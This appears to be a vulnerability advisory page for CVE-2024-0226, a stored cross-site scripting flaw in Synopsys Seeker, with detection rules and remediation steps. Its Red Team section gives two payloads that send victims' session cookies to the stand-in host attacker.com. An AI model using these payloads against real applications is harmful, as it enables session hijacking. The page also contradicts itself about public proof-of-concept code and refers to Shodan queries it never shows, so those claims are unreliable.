CVE-2024-0226
Executive Summary
CVE-2024-0226 is a stored cross-site scripting (XSS) vulnerability affecting Synopsys Seeker, an Interactive Application Security Testing (IAST) tool. Versions prior to 2023.12.0 are vulnerable. An authenticated attacker with low privileges can inject a malicious payload into the application, which is then stored and executed in the context of other users' browsers when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 4.8 (Medium) and no public proof-of-concept or exploit code is currently available. The vendor has released a patched version (2023.12.0) to address this issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – An attacker needs valid credentials with low-level access.
- User Interaction (UI): Required – The victim must interact with the malicious content (e.g., click a link or view a page).
- Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure is possible.
- Integrity (I): Low – Limited modification of data is possible.
- Availability (A): None – No impact on system availability.
Deep Dive & Mechanics
The vulnerability resides in how Synopsys Seeker handles user-supplied input within its web interface. The application fails to properly sanitize or encode data before storing it in a persistent data store (e.g., database or file system). When this stored data is later retrieved and rendered in a web page without proper output encoding, an attacker can inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker authenticates to the Seeker web interface with low-privileged credentials.
- The attacker identifies an input field (e.g., project name, description, or custom tags) that is stored and later displayed to other users.
- The attacker submits a payload containing malicious JavaScript, such as
<script>alert(document.cookie)</script>. - The payload is stored in the backend.
- When another user (including administrators) views the page containing the stored data, the script executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable: Directly stores user input without sanitization
def save_project(request):
project_name = request.POST.get('project_name')
# No sanitization or encoding
db.execute("INSERT INTO projects (name) VALUES (?)", (project_name,))
return redirect('/projects')
<!-- Vulnerable: Renders stored data without output encoding -->
<div class="project-name">
{{ project.name }} <!-- No escaping -->
</div>
Patched Code (Conceptual):
# Patched: Sanitizes input before storage
import html
def save_project(request):
project_name = request.POST.get('project_name')
# Sanitize input
safe_name = html.escape(project_name)
db.execute("INSERT INTO projects (name) VALUES (?)", (safe_name,))
return redirect('/projects')
<!-- Patched: Uses context-aware output encoding -->
<div class="project-name">
{{ project.name|escape }} <!-- Django auto-escaping -->
</div>
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Synopsys Seeker instance (version < 2023.12.0)
- Valid low-privileged user credentials
Exploitation Steps:
- Log in to the Seeker web interface.
- Navigate to a page that allows input (e.g., creating a new project or editing a description).
- Inject the following payload into the input field:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> - Submit the form.
- Craft a phishing link or wait for an administrator to view the affected page.
- The victim's browser executes the script, sending their session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection & Prevention:
- Monitor for unusual input patterns in Seeker logs (e.g.,
<script>,onerror,javascript:). - Implement Web Application Firewall (WAF) rules to block common XSS payloads.
- Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
- Regularly review user activity logs for suspicious modifications to project metadata.
Hunting Query (Splunk):
index=seeker sourcetype=seeker:audit
| search "project_name" OR "description"
| regex _raw="<script|<img.*onerror|<svg.*onload"
| table _time, user, action, details
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
Refererheaders pointing to Seeker pages with injected content.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- Log entries showing unsanitized HTML/JavaScript in stored fields.
- Unexpected modifications to project names, descriptions, or tags.
File IOCs:
- Presence of XSS payloads in Seeker database dumps or configuration files.
Detection Engineering
YARA Rule
rule CVE_2024_0226_Stored_XSS {
meta:
description = "Detects stored XSS payloads targeting Synopsys Seeker"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-0226"
strings:
$xss1 = "<script" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
$xss5 = "document.cookie" ascii wide nocase
condition:
any of ($xss*)
}
Sigma Rule
title: Stored XSS in Synopsys Seeker
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Synopsys Seeker logs
author: Valters IT
date: 2024-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0226
logsource:
product: seeker
service: audit
detection:
selection:
- field: "project_name"
value|contains:
- "<script"
- "onerror="
- "onload="
- "javascript:"
- field: "description"
value|contains:
- "<script"
- "onerror="
- "onload="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-0226 - Stored XSS Payload Exfiltration";
flow:to_server,established;
content:"?cookie="; http_uri;
pcre:"/(<script|onerror|onload|javascript:)/Pi";
sid:1000001;
rev:1;
reference:cve,2024-0226;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Synopsys Seeker to version 2023.12.0 or later.
- If immediate upgrade is not possible, restrict access to the Seeker web interface to trusted IPs only.
- Review and sanitize all existing stored data for potential XSS payloads.
Long-Term Measures:
- Implement input validation and output encoding for all user-supplied data.
- Deploy a Web Application Firewall (WAF) with XSS protection rules.
- Conduct regular security assessments and penetration testing.
- Enable Content Security Policy (CSP) headers to mitigate impact of XSS.
Workaround:
- Disable the vulnerable input fields (e.g., project descriptions) via configuration if possible.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.